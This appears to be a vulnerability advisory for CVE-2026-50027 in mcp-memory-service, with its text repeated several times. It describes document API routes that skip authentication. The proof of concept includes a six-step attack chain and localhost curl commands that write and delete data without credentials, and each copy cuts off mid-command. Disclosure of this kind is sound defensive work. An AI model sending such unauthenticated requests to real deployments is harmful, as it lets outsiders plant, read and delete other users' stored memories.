CVE-2026-50027

mcp-memory-service is a semantic memory layer for AI applications. Prior to 10.67.1, all HTTP routes under /api/documents/* in mcp-memory-service are served without any authentication dependency, even when the server is configured with an API key (MCP_API_KEY) or OAuth. An unauthenticated remote attacker can upload arbitrary content into the memory store (write), retrieve stored document content (read), and permanently delete memories belonging to authenticated users (delete) — all without supplying any credentials. The /api/memories counterpart correctly enforces authentication, making this an inconsistent and exploitable authentication boundary. This vulnerability is fixed in 10.67.1.

mcp-memory-service is a semantic memory layer for AI applications. Prior to 10.67.1, all HTTP routes under /api/documents/* in mcp-memory-service are served without any authentication dependency, even when the server is configured with an API key (MCP_API_KEY) or OAuth. An unauthenticated remote attacker can upload arbitrary content into the memory store (write), retrieve stored document content (read), and permanently delete memories belonging to authenticated users (delete) — all without supplying any credentials. The /api/memories counterpart correctly enforces authentication, making this an inconsistent and exploitable authentication boundary. This vulnerability is fixed in 10.67.1.

Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete

Summary

All HTTP routes under /api/documents/* in mcp-memory-service are served without any authentication dependency, even when the server is configured with an API key (MCP_API_KEY) or OAuth. An unauthenticated remote attacker can upload arbitrary content into the memory store (write), retrieve stored document content (read), and permanently delete memories belonging to authenticated users (delete) — all without supplying any credentials. The /api/memories counterpart correctly enforces authentication, making this an inconsistent and exploitable authentication boundary. CVSS 9.8 Critical.

Details

The documents.py router is instantiated without any router-level dependencies= parameter and the file does not import Depends at all, so no authentication guard is present on any of its routes:

• src/mcp_memory_service/web/api/documents.py:33 — from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks (Depends is absent)
• src/mcp_memory_service/web/api/documents.py:43 — router = APIRouter() (no dependencies= argument)

The affected endpoints and their data-flow sinks are:

| Route | Line (source) | Sink | Line (sink) | |---|---|---|---| | POST /upload | 149 | storage.store(memory) | 449 | | POST /batch-upload | — | storage.store(memory) | — | | GET /history | — | upload metadata response | — | | GET /search-content/{upload_id} | 729 | memory content response | 781 | | DELETE /remove/{upload_id} | — | storage deletion | — | | DELETE /remove-by-tags | 687 | storage.delete_by_tags(tags) | 705 |

The router is mounted in src/mcp_memory_service/web/app.py:311:

app.include_router(documents_router, prefix="/api/documents")

No CORSMiddleware or authentication middleware applies to these routes at mount time.

By contrast, the equivalent write endpoint in memories.py is correctly protected:

# src/mcp_memory_service/web/api/memories.py:136
user: AuthenticationResult = Depends(require_write_access)

This demonstrates that the authentication infrastructure exists and is intentionally applied elsewhere, but was omitted from all documents.py routes.

PoC

Prerequisites

• Docker installed
• Repository cloned at repo

Build and run the container

docker build -t vuln-001-mcp-memory-poc \
  -f vuln-001/Dockerfile \
  repo

docker run -d --name vuln-001-poc-container \
  -p 18000:8000 vuln-001-mcp-memory-poc:latest

The container starts mcp-memory-service with MCP_API_KEY=poc-secret-key-12345, simulating a production deployment where the operator has enabled API-key authentication.

Execute the PoC

python3 vuln-001/poc.py \
  --host 127.0.0.1 --port 18000 --api-key poc-secret-key-12345

Attack chain (6 steps)

[STEP 1] GET /api/memories (no auth) → HTTP 401   ← auth guard is active on memories API
[STEP 2] POST /api/memories (with API key) → HTTP 200   ← legitimate user stores sensitive data
[STEP 3] GET /api/memories (with API key) → HTTP 200  memories_found=1   ← data confirmed
[STEP 4] POST /api/documents/upload (NO auth) → HTTP 200  upload_id=<uuid>   ← WRITE bypass
[STEP 5] DELETE /api/documents/remove-by-tags (NO auth) → HTTP 200  memories_deleted=1   ← DELETE bypass
[STEP 6] GET /api/memories (with API key) → HTTP 200  memories_remaining=0   ← integrity impact confirmed

Step 6 proves that an unauthenticated attacker deleted data created by a legitimately authenticated user in a single unauthenticated request.

Manual curl equivalent

# Confirm auth guard is active on /api/memories
curl -i http://127.0.0.1:18000/api/memories
# → 401 Unauthorized

# Write through document API — no credentials
printf 'CVE_AUTH_BYPASS_MARKER' > /tmp/poc.txt
UPLOAD_ID=$(
  curl -s -X POST…

mcp-memory-service is a semantic memory layer for AI applications. Prior to 10.67.1, all HTTP routes under /api/documents/* in mcp-memory-service are served without any authentication dependency, even when the server is configured with an API key (MCP_API_KEY) or OAuth. An unauthenticated remote attacker can upload arbitrary content into the memory store (write), retrieve stored document content (read), and permanently delete memories belonging to authenticated users (delete) — all without supplying any credentials. The /api/memories counterpart correctly enforces authentication, making this an inconsistent and exploitable authentication boundary. This vulnerability is fixed in 10.67.1.

Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete

Summary

All HTTP routes under /api/documents/* in mcp-memory-service are served without any authentication dependency, even when the server is configured with an API key (MCP_API_KEY) or OAuth. An unauthenticated remote attacker can upload arbitrary content into the memory store (write), retrieve stored document content (read), and permanently delete memories belonging to authenticated users (delete) — all without supplying any credentials. The /api/memories counterpart correctly enforces authentication, making this an inconsistent and exploitable authentication boundary. CVSS 9.8 Critical.

Details

The documents.py router is instantiated without any router-level dependencies= parameter and the file does not import Depends at all, so no authentication guard is present on any of its routes:

• src/mcp_memory_service/web/api/documents.py:33 — from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks (Depends is absent)
• src/mcp_memory_service/web/api/documents.py:43 — router = APIRouter() (no dependencies= argument)

The affected endpoints and their data-flow sinks are:

| Route | Line (source) | Sink | Line (sink) | |---|---|---|---| | POST /upload | 149 | storage.store(memory) | 449 | | POST /batch-upload | — | storage.store(memory) | — | | GET /history | — | upload metadata response | — | | GET /search-content/{upload_id} | 729 | memory content response | 781 | | DELETE /remove/{upload_id} | — | storage deletion | — | | DELETE /remove-by-tags | 687 | storage.delete_by_tags(tags) | 705 |

The router is mounted in src/mcp_memory_service/web/app.py:311:

app.include_router(documents_router, prefix="/api/documents")

No CORSMiddleware or authentication middleware applies to these routes at mount time.

By contrast, the equivalent write endpoint in memories.py is correctly protected:

# src/mcp_memory_service/web/api/memories.py:136
user: AuthenticationResult = Depends(require_write_access)

This demonstrates that the authentication infrastructure exists and is intentionally applied elsewhere, but was omitted from all documents.py routes.

PoC

Prerequisites

• Docker installed
• Repository cloned at repo

Build and run the container

docker build -t vuln-001-mcp-memory-poc \
  -f vuln-001/Dockerfile \
  repo

docker run -d --name vuln-001-poc-container \
  -p 18000:8000 vuln-001-mcp-memory-poc:latest

The container starts mcp-memory-service with MCP_API_KEY=poc-secret-key-12345, simulating a production deployment where the operator has enabled API-key authentication.

Execute the PoC

python3 vuln-001/poc.py \
  --host 127.0.0.1 --port 18000 --api-key poc-secret-key-12345

Attack chain (6 steps)

[STEP 1] GET /api/memories (no auth) → HTTP 401   ← auth guard is active on memories API
[STEP 2] POST /api/memories (with API key) → HTTP 200   ← legitimate user stores sensitive data
[STEP 3] GET /api/memories (with API key) → HTTP 200  memories_found=1   ← data confirmed
[STEP 4] POST /api/documents/upload (NO auth) → HTTP 200  upload_id=<uuid>   ← WRITE bypass
[STEP 5] DELETE /api/documents/remove-by-tags (NO auth) → HTTP 200  memories_deleted=1   ← DELETE bypass
[STEP 6] GET /api/memories (with API key) → HTTP 200  memories_remaining=0   ← integrity impact confirmed

Step 6 proves that an unauthenticated attacker deleted data created by a legitimately authenticated user in a single unauthenticated request.

Manual curl equivalent

# Confirm auth guard is active on /api/memories
curl -i http://127.0.0.1:18000/api/memories
# → 401 Unauthorized

# Write through document API — no credentials
printf 'CVE_AUTH_BYPASS_MARKER' > /tmp/poc.txt
UPLOAD_ID=$(
  curl -s -X POST…

Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete

Summary

All HTTP routes under /api/documents/* in mcp-memory-service are served without any authentication dependency, even when the server is configured with an API key (MCP_API_KEY) or OAuth. An unauthenticated remote attacker can upload arbitrary content into the memory store (write), retrieve stored document content (read), and permanently delete memories belonging to authenticated users (delete) — all without supplying any credentials. The /api/memories counterpart correctly enforces authentication, making this an inconsistent and exploitable authentication boundary. CVSS 9.8 Critical.

Details

The documents.py router is instantiated without any router-level dependencies= parameter and the file does not import Depends at all, so no authentication guard is present on any of its routes:

• src/mcp_memory_service/web/api/documents.py:33 — from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks (Depends is absent)
• src/mcp_memory_service/web/api/documents.py:43 — router = APIRouter() (no dependencies= argument)

The affected endpoints and their data-flow sinks are:

| Route | Line (source) | Sink | Line (sink) | |---|---|---|---| | POST /upload | 149 | storage.store(memory) | 449 | | POST /batch-upload | — | storage.store(memory) | — | | GET /history | — | upload metadata response | — | | GET /search-content/{upload_id} | 729 | memory content response | 781 | | DELETE /remove/{upload_id} | — | storage deletion | — | | DELETE /remove-by-tags | 687 | storage.delete_by_tags(tags) | 705 |

The router is mounted in src/mcp_memory_service/web/app.py:311:

app.include_router(documents_router, prefix="/api/documents")

No CORSMiddleware or authentication middleware applies to these routes at mount time.

By contrast, the equivalent write endpoint in memories.py is correctly protected:

# src/mcp_memory_service/web/api/memories.py:136
user: AuthenticationResult = Depends(require_write_access)

This demonstrates that the authentication infrastructure exists and is intentionally applied elsewhere, but was omitted from all documents.py routes.

PoC

Prerequisites

• Docker installed
• Repository cloned at repo

Build and run the container

docker build -t vuln-001-mcp-memory-poc \
  -f vuln-001/Dockerfile \
  repo

docker run -d --name vuln-001-poc-container \
  -p 18000:8000 vuln-001-mcp-memory-poc:latest

The container starts mcp-memory-service with MCP_API_KEY=poc-secret-key-12345, simulating a production deployment where the operator has enabled API-key authentication.

Execute the PoC

python3 vuln-001/poc.py \
  --host 127.0.0.1 --port 18000 --api-key poc-secret-key-12345

Attack chain (6 steps)

[STEP 1] GET /api/memories (no auth) → HTTP 401   ← auth guard is active on memories API
[STEP 2] POST /api/memories (with API key) → HTTP 200   ← legitimate user stores sensitive data
[STEP 3] GET /api/memories (with API key) → HTTP 200  memories_found=1   ← data confirmed
[STEP 4] POST /api/documents/upload (NO auth) → HTTP 200  upload_id=<uuid>   ← WRITE bypass
[STEP 5] DELETE /api/documents/remove-by-tags (NO auth) → HTTP 200  memories_deleted=1   ← DELETE bypass
[STEP 6] GET /api/memories (with API key) → HTTP 200  memories_remaining=0   ← integrity impact confirmed

Step 6 proves that an unauthenticated attacker deleted data created by a legitimately authenticated user in a single unauthenticated request.

Manual curl equivalent

# Confirm auth guard is active on /api/memories
curl -i http://127.0.0.1:18000/api/memories
# → 401 Unauthorized

# Write through document API — no credentials
printf 'CVE_AUTH_BYPASS_MARKER' > /tmp/poc.txt
UPLOAD_ID=$(
  curl -s -X POST…